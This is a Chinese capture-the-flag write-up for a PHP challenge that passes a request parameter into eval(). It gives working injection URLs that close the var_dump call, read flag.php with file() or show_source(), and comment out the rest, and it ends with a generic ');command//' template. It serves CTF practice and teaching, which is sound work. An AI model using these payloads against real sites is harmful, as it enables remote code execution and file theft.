题目源码如下
<?php 
    include "flag.php"; 
    $a = @$_REQUEST['hello']; 
    eval( "var_dump($a);"); 
    show_source(__FILE__); 
?>
1.分析$_REQUEST()函数
预定义的$_REQUEST变量包含了$_GET、$_POST以及$_COOKIE的内容。
$_REQUEST变量既可以使用GET也可以使用POST方式收集表单数据。所以
我们可以通过以get/post等方式赋值给$a,
2.分析eval()函数
字符串当作命令直接执行
3.分析var_dump()
输出变量a的类型和值。
这道题就是让你读 flag.php 的内容, 传入的参数为 hello 用 eval 函数把传入的参数当成 php 代码执行, 所以直接传
方法一:尝试将flag.php文件直接输出
http://120.24.86.145:8003/?hello=1);print_r(file("./flag.php"));%23
方法二:直接对hello赋值
http://123.206.87.240:8003/?hello=file('flag.php')
http://123.206.87.240:8003/?hello=file_get_contents('flag.php')
 
  http://123.206.87.240:8003/?hello=show_source(%27flag.php%27) 
 
 
  
  此外也可以 
 
 
  
    http://123.206.87.240:8003/index.php?hello=1);show_source(%27flag.php%27);// 
   
 
    
    “);”:负责把前面的命令闭合掉 
    
 
  “//”:把原来命令的残余部分注释掉
所以格式形式为如下
);the_command_that_you_want_to_execute//
